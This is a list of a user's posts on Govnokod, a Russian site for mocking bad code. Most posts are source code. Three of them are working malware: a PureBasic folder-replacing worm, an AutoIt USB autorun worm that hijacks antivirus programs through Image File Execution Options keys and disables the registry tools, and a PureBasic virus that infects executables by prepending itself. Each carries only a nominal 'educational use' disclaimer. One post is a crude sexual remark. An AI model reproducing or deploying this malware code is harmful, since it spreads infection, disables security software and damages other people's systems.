1. Список говнокодов пользователя fajes_rown

    Всего: 10

  2. Куча / Говнокод #22755

    −13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    $aCall = DllCall("kernel32.dll", "ptr", "VirtualAlloc", _
                "ptr", 0, _
                "dword", 82, _
                "dword", 4096, _ ; MEM_COMMIT
                "dword", 64) ; PAGE_EXECUTE_READWRITE
    
        If @error Or Not $aCall[0] Then
            Return SetError(6, 0, 0)
        EndIf
    
        Local $pRemoteCode = $aCall[0]
    
        ; Make structure in reserved space
        Local $CodeBuffer = DllStructCreate("byte[82]", $pRemoteCode)
    
        ; Allocate global memory with PAGE_READWRITE. This can be done with ByRef-ing too.
        $aCall = DllCall("kernel32.dll", "ptr", "VirtualAlloc", _
                "ptr", 0, _
                "dword", 36, _
                "dword", 4096, _ ; MEM_COMMIT
                "dword", 4) ; PAGE_READWRITE
    
        If @error Or Not $aCall[0] Then
            Return SetError(7, 0, 0)
        EndIf
    
        Local $pStrings = $aCall[0]
    
        ; Arrange strings in reserved space
        Local $tSpace = DllStructCreate("wchar Format[9];wchar Result[9]", $pStrings)
        DllStructSetData($tSpace, "Format", "hh:mm:ss")
    
        ; Write assembly on the fly
        DllStructSetData($CodeBuffer, 1, _
                "0x" & _
                "68" & SwapEndian(9) & _                                           ; push output size
                "68" & SwapEndian(DllStructGetPtr($tSpace, "Result")) & _          ; push pointer to output container
                "68" & SwapEndian(DllStructGetPtr($tSpace, "Format")) & _          ; push pointer to format string
                "68" & SwapEndian(0) & _                                           ; push NULL
                "68" & SwapEndian(4) & _                                           ; push TIME_FORCE24HOURFORMAT
                "68" & SwapEndian(0) & _                                           ; push Locale
                "B8" & SwapEndian($pGetTimeFormatW) & _                            ; mov eax, [$pGetTimeFormatW]
                "FFD0" & _                                                         ; call eax
                "68" & SwapEndian(DllStructGetPtr($tSpace, "Result")) & _          ; push pointer to the result
                "68" & SwapEndian(0) & _                                           ; push wParam
                "68" & SwapEndian(12) & _                                          ; push WM_SETTEXT
                "68" & SwapEndian(GUICtrlGetHandle($hControl)) & _                 ; push HANDLE
                "B8" & SwapEndian($pSendMessageW) & _                              ; mov eax, [$pSendMessageW]
                "FFD0" & _                                                         ; call eax
                "68" & SwapEndian(491) & _                                         ; push Milliseconds
                "B8" & SwapEndian($pSleep) & _                                     ; mov eax, [$pSleep]
                "FFD0" & _                                                         ; call eax
                "E9" & SwapEndian(-81) & _                                         ; jump back 81 bytes (start address)
                "C3" _                                                             ; Ret
                )
    
        ; Create new thread to execute code in
        $aCall = DllCall("kernel32.dll", "ptr", "CreateThread", _
                "ptr", 0, _
                "dword", 0, _
                "ptr", $pRemoteCode, _
                "ptr", 0, _
                "dword", 0, _
                "dword*", 0)
    
        If @error Or Not $aCall[0] Then
            Return SetError(8, 0, 0)
        EndIf
    
        Local $hThread = $aCall[0]
    
        ; Return thread handle
        Return $hThread
    
    EndFunc   ;==>_ClockThisInAnotherThread
    
    
    Func SwapEndian($iValue)
        Return Hex(BinaryMid($iValue, 1, 4))
    EndFunc   ;==>SwapEndian

    Попытка вызвать CreateThread в однопоточном скриптовом языке.
    Код функции написан заранее, в виде опкодов. Гениально.

    fajes_rown, 07 Апреля 2017

    Комментарии (65)
  3. Куча / Говнокод #21530

    −131

    1. 1
    Кто тут меня в жопу торкнет? Я и хуй отсосу.

    fajes_rown, 22 Октября 2016

    Комментарии (4)
  4. Куча / Говнокод #21515

    −128

    1. 1
    Как отсюда удалиться?

    На почту приходит много спама, настоипало.

    fajes_rown, 21 Октября 2016

    Комментарии (12)
  5. VisualBasic / Говнокод #21159

    −125

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    ;********************************************************************
    ;* Примитивный червь. Распространяется, подменяя собой папки.       *
    ;* Для компиляции в среде PureBasic 5.30                            *
    ;* Автор не несет ответственности за Ваши действия с этим кодом.    *
    ;********************************************************************
    
    
    Procedure Spread(path.s)
      Define finddata.WIN32_FIND_DATA,hFind.l
      Define.s fname, ext
      Define.l attrs
      If Right(path,1) <> "\":path+"\":EndIf
      hfind=FindFirstFile_(path+"*.*",@finddata)
      If hfind <> -1
        Repeat
          fname=PeekS(@finddata\cFileName)
          If (fname <> ".") And (fname <> "..")
            fname=path+fname
            attrs=finddata\dwFileAttributes
            ext=LCase(GetExtensionPart(fname))
            If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
              If CopyFile(ProgramFilename(), fname+".exe")
                SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
                SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
              EndIf
              Spread(fname)
            EndIf
          EndIf
        Until Not FindNextFile_(hfind,@finddata)
      EndIf
    EndProcedure
    
    Procedure Main()
      Define.l hm
      Define path.s
      path=ProgramFilename()
      
      path=Left(path,Len(path)-Len(GetExtensionPart(path)))
      If FileSize(path) <> -1
        ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
      EndIf
      
      hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
      If hm<>0
        CloseHandle_(hm)
      Else
        hm=CreateMutex_(0,#True,@"mutexname")
        spread(GetCurrentDirectory())
      EndIf
    EndProcedure
    
    Main()

    Студенты извращаются.

    fajes_rown, 09 Сентября 2016

    Комментарии (77)
  6. Pascal / Говнокод #20488

    −50

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    uses
      ShellAPI;
    
    procedure TForm1.JumpToKey(Key: string; value:string);
    var
      i, n: Integer;
      hWin, htWin, hlWin: HWND;
      ExecInfo: ShellExecuteInfoA;
    begin
      hWin := FindWindowA(PChar('RegEdit_RegEdit'), nil); // не стоит вызывать Ansi-варианты. Лучше вызывать как есть ("FindWindow")
      if hWin = 0 then
      begin
        FillChar(ExecInfo, 60, #0);
        with ExecInfo do
        begin
          cbSize := 60;
          fMask  := SEE_MASK_NOCLOSEPROCESS;
          lpVerb := PChar('open');
          lpFile := PChar('regedit.exe');
          nShow  := 1;
        end;
        ShellExecuteExA(@ExecInfo);
        sleep(500);
        WaitForInputIdle(ExecInfo.hProcess, 200);
        hWin := FindWindowA(PChar('RegEdit_RegEdit'), nil);
      end;
      ShowWindow(hWin, SW_SHOWNORMAL);
      htWin := FindWindowExA(hWin, 0, PChar('SysTreeView32'), nil);
      SetForegroundWindow(htWin);
      i := 30;
      sleep(700);
      repeat
        WaitForInputIdle(ExecInfo.hProcess, 200);
        SendMessageA(htWin, WM_KEYDOWN, VK_LEFT, 0);
        Dec(i);
      until i = 0;
      sleep(700);
      WaitForInputIdle(ExecInfo.hProcess, 200);
      SendMessageA(htWin, WM_KEYDOWN, VK_RIGHT, 0);
      sleep(700);
      i := 1;
      n := Length(Key);
      repeat
        WaitForInputIdle(ExecInfo.hProcess, 200);
        if Key[i] = '\' then
        begin
        SendMessageA(htWin, WM_KEYDOWN, VK_RIGHT, 0);
        end
        else
          SendMessageA(htWin, WM_CHAR, Integer(Key[i]), 0);
        i := i + 1;
      until i = n;
      sleep(500);
      WaitForInputIdle(ExecInfo.hProcess, 200);
    
      if value <> '' then
      begin
        hlWin := FindWindowExA(hWin, 0, PChar('SysListView32'), nil);
        SetForegroundWindow(hlWin);
        i := 30;
        repeat
          //WaitForInputIdle(ExecInfo.hProcess, 200);
          SendMessageA(hlWin, WM_KEYDOWN, VK_LEFT, 0);
          Dec(i);
        until i = 0;
    
        i := 1;
        n := Length(value);
        repeat
          //WaitForInputIdle(ExecInfo.hProcess, 200);
          SendMessageA(hlWin, WM_CHAR, Integer(value[i]), 0);
          i := i + 1;
        until i = n;
      end;
    
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    JumpToKey('HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current\Version\Run','CTFMON.EXE');
    end;

    Такая вот рыбка ;-) Открывает редактор и разворачивает ключи до заданного параметра.
    Код не мой. Оригинал разворачивал только до названия ключа.

    fajes_rown, 08 Августа 2016

    Комментарии (2)
  7. VisualBasic / Говнокод #20385

    −70

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    ;Autorun-червь на Autoit. Инфицирует сменные и локальные диски. Не вредоносный.
    ;Только для просмотра. Автор топика не несет ответственности за Ваши действия.
    
    AutoItSetOption("TrayIconHide", 1)
    
    Func AUTORUN_INF()
            If FileExists($VAR[$I] & "\autorun.inf") Then
                    $FILE = FileOpen($VAR[$I] & "\autorun.inf", 0)
                    $STR = FileReadLine($FILE, 2)
                    FileClose($FILE)
                    If $STR <> ("open=System_Cache\locale.exe") Then
                            FileSetAttrib($VAR[$I] & "\autorun.inf", "-HSR+A")
                            $AUT = FileOpen($VAR[$I] & "\autorun.inf", 10)
                            FileWrite($AUT, "[autorun]" & @CRLF)
                            FileWrite($AUT, "open=System_Cache\locale.exe" & @CRLF)
                            FileWrite($AUT, "shell\open=0B:@KBL(&O)" & @CRLF)
                            FileWrite($AUT, "shell\open\Command=System_Cache\locale.exe" & @CRLF)
                            FileWrite($AUT, "shell\open\Default=1" & @CRLF)
                            FileWrite($AUT, "shell\explore=@>2>4=8:" & @CRLF)
                            FileWrite($AUT, "shell\explore\Command=System_Cache\locale.exe")
                            FileClose($AUT)
                            FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
                    Else
                    EndIf
            Else
                    $FILE = FileOpen($VAR[$I] & "\autorun.inf", 10)
                    FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
                    FileWrite($FILE, "[autorun]" & @CRLF)
                    FileWrite($FILE, "open=System_Cache\locale.exe" & @CRLF)
                    FileWrite($FILE, "shell\open=0B:@KBL(&O)" & @CRLF)
                    FileWrite($FILE, "shell\open\Command=System_Cache\locale.exe" & @CRLF)
                    FileWrite($FILE, "shell\open\Default=1" & @CRLF)
                    FileWrite($FILE, "shell\explore=@>2>4=8:" & @CRLF)
                    FileWrite($FILE, "shell\explore\Command=System_Cache\locale.exe")
                    FileClose($FILE)
                    FileSetAttrib($VAR[$I] & "\autorun.inf", "+HSR")
            EndIf
    EndFunc
    
    $H = 1
    $START = @AutoItExe
    If $START <> (@SystemDir & "\locale.exe") Then
            $DRIVE = StringMid($START, 1, 3)
            $VAL = ShellExecute($DRIVE)
    Else
    EndIf
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojanDetector.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\anti_autorun.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBCleaner.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AvMonitor.exe", "Debugger", "REG_SZ", @SystemDir & "\locale.exe")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system", "DisableRegistryTools", "REG_DWORD", "1")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", "2")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", "1")
    RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "AtiMonitor", "REG_SZ", @SystemDir & "\locale.exe")
    If ProcessExists("sirwnmi.exe") And ("sudlces.exe") Then
            ProcessClose("sirwnmi.exe")
            ProcessClose("sudlces.exe")
            If FileExists(@CommonFilesDir & "\System\" & "sudlces.exe") Then
                    FileSetAttrib(@CommonFilesDir & "\System\" & "sudlces.exe", "-HSR+A")
                    FileDelete(@CommonFilesDir & "\System\" & "sudlces.exe")
            EndIf
            If FileExists(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe") Then
                    FileSetAttrib(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe", "-HSR+A")
                    FileDelete(@CommonFilesDir & "\Microsoft Shared\" & "sirwnmi.exe")
            EndIf
    EndIf
    If FileExists(@SystemDir & "\avpo.exe") Then
            FileSetAttrib(@SystemDir & "\avpo.exe", "-HSR+A")
            FileDelete(@SystemDir & "\avpo.exe")
    EndIf
    If FileExists(@SystemDir & "\amvo.exe") Then
            FileSetAttrib(@SystemDir & "\amvo.exe", "-HSR+A")
            FileDelete(@SystemDir & "\amvo.exe")
    EndIf
    If ProcessExists("locale.exe") Then
            $X = 0
            $LIST = ProcessList("locale.exe")
            For $I = 1 To $LIST[0][0]
                    $X = $X + 1
            Next
            If $X > 1 Then
                    Exit
            EndIf
    EndIf
    While $H = 1
            $VAR = DriveGetDrive("REMOVABLE")
            If Not @error Then
                    For $I = 1 To $VAR[0]
                            If $VAR[$I] <> "A:"  Then
                                    $PUT = @AutoItExe
                                    FileCopy($PUT, $VAR[$I] & "\System_Cache\locale.exe", 8)
                                    FileSetAttrib($VAR[$I] & "\System_Cache", "+HSR", 1)
                                    FileCopy($PUT, "C:\windows\system32\ntfsours.exe", 8)
                                    FileCopy($PUT, "C:\windows\system32\locale.exe", 8)
                                    FileSetAttrib("C:\windows\system32\ntfsours.exe", "+HSR")
                                    FileSetAttrib("C:\windows\system32\locale.exe", "+HSR")
                                    AUTORUN_INF()
                            Else
                            EndIf

    fajes_rown, 15 Июля 2016

    Комментарии (21)
  8. VisualBasic / Говнокод #20370

    −61

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    ;***************************************************************************************************
    ;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30. 
    ;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код.                         
    ;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность!
    ;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях.
    ;***************************************************************************************************
    
    EnableExplicit
    
    #vsize=16384 
    ;размер тела вируса, в байтах зависит от версии компилятора. 
    ;Должно точно соответствовать размеру скомпилированного файла.
    ;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл.
    
    Global *mem,progname.s,progpath.s
    
    Procedure InfectFile(filename.s)
      ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей)  
      Define hfile,fsize,*ptr
      hfile=OpenFile(#PB_Any,filename)
      If hfile 
        fsize=Lof(hfile)
        If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf
        *ptr=AllocateMemory(fsize)
        ReadData(hfile,*ptr, fsize)
        FileSeek(hfile,0)
        TruncateFile(hfile)
        WriteData(hfile,*mem,#vsize)
        FileSeek(hfile,#vsize)
        WriteData(hfile,*ptr,fsize)
        CloseFile(hfile)
      EndIf
    EndProcedure
    
    Procedure Infect(path.s)
      Define finddata.WIN32_FIND_DATA,hFind.l
      Define.s fname, ext
      If Right(path,1) <> "\":path+"\":EndIf
      hfind=FindFirstFile_(path+"*.*",@finddata)
      If hfind <> -1
        Repeat
          fname=PeekS(@finddata\cFileName)
          If (fname <> ".") And (fname <> "..")
            fname=LCase(path+fname)
            If fname=LCase(progpath):Continue:EndIf
            If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY
              ext=LCase(GetExtensionPart(fname))
              If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr")
                infect(fname)
              EndIf
            Else
              Infect(fname)
            EndIf
          EndIf
        Until Not FindNextFile_(hfind,@finddata)
      EndIf
      
    EndProcedure
    
    Procedure Main()
       
      Define.s tmppath
      Define.l msize,hfile
      Define PI.PROCESS_INFORMATION
      Define SI.STARTUPINFO
      Define *ptr
      progname=ProgramFilename()
      
      progpath=GetPathPart(progname)
      If Right(progpath,1) <> "\":progpath+"\":EndIf
      
      tmppath=RSet(tmppath,300)
      tmppath=Left(tmppath, GetTempPath_(300,@tmppath))
      If Right(tmppath,1) <> "\":tmppath+"\":EndIf
      tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100))
      *mem=AllocateMemory(1)
      hfile=ReadFile(#PB_Any,progname)
      If hfile
        msize=Lof(hfile)
        If msize < #vsize
          CloseFile(hfile)
          End
        Else
          *mem=ReAllocateMemory(*mem,#vsize)
          ReadData(hfile,*mem,#vsize)
          If msize=#vsize
            Infect(progpath)
          Else
            msize=msize-#vsize
            *ptr=AllocateMemory(msize)
            FileSeek(hfile,#vsize)
            ReadData(hfile,*ptr,msize)
            CloseFile(hfile)
            If MoveFile_(progname,tmppath)
              hfile=CreateFile(#PB_Any,progname)
              If hfile
                WriteData(hfile,*ptr,msize)
                CloseFile(hfile)
              EndIf
              FreeMemory(*ptr)

    fajes_rown, 13 Июля 2016

    Комментарии (21)
  9. Pascal / Говнокод #19861

    −48

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    function CanonicPath(const PathName:string):string; forward;
    begin
    	SetLength(Result,Length(PathName));
    	if PathCanonicalize(PChar(Result), PChar(PathName)) then
    	SetLength(Result, PChar(StrLen(Result)))
    	else
    	Result:=PathName;
    end;
    
    var
    	i:integer;
    	path:string;
    begin
     {...}
    	for i:=1 to 200 do
    	Path:=PathCanonicalize(Path);
    {...}

    "а вот и таран!.. Святые отцы-каноники посылают нам его!"

    fajes_rown, 22 Апреля 2016

    Комментарии (6)
  10. Куча / Говнокод #19635

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    program Project2;
    
    procedure test1;
    var
      arr:array[0..32] of char;
    begin
      fillchar(arr,sizeof(arr),'A');
    end;
    
    procedure test2;
    var
      arr:array[0..32] of char;
    begin
      fillchar(arr,sizeof(arr) div 2,'B');
      writeln(arr);
    end;
    
    begin
      test1;
      test2;
      //BBBBBBBBBBBBBBBBAAAAAAAAAAAAAAA
      readln;
    end.

    http://ideone.com/qJajnb

    fajes_rown, 15 Марта 2016

    Комментарии (123)
  11. Pascal / Говнокод #19582

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    procedure TDev.ScanBtnClick(Sender: TObject);
    var
      sel:tlistitem;
      drv:DriveObj;
      i:integer;
    begin
      for i:=devlist.Items.Count -1 downto 0 do
      begin
        sel:=devlist.items[i];
        if not sel.selected then continue;
        if sel.SubItems.Objects[0] is DriveObj then
        begin
          drv:=(sel.SubItems.Objects[0] as DriveObj);
          if drv.status=s_isprocessing then
          begin
            messagebox(handle,pchar('Предыдущее сканирование еще выполняется'),pchar('Ошибка'),mb_iconwarning);
            continue;
          end;
          StartScan(drv,true);
          sel.SubItems.Strings[2]:=(sel.SubItems.Objects[0] as DriveObj).statusAString;
        end;
      end;
    end;

    Из одной утилитки.
    ListView настроен на освобождение объектов при удалении айтема, слушает событие об удалении/добавлении устройств.

    fajes_rown, 06 Марта 2016

    Комментарии (57)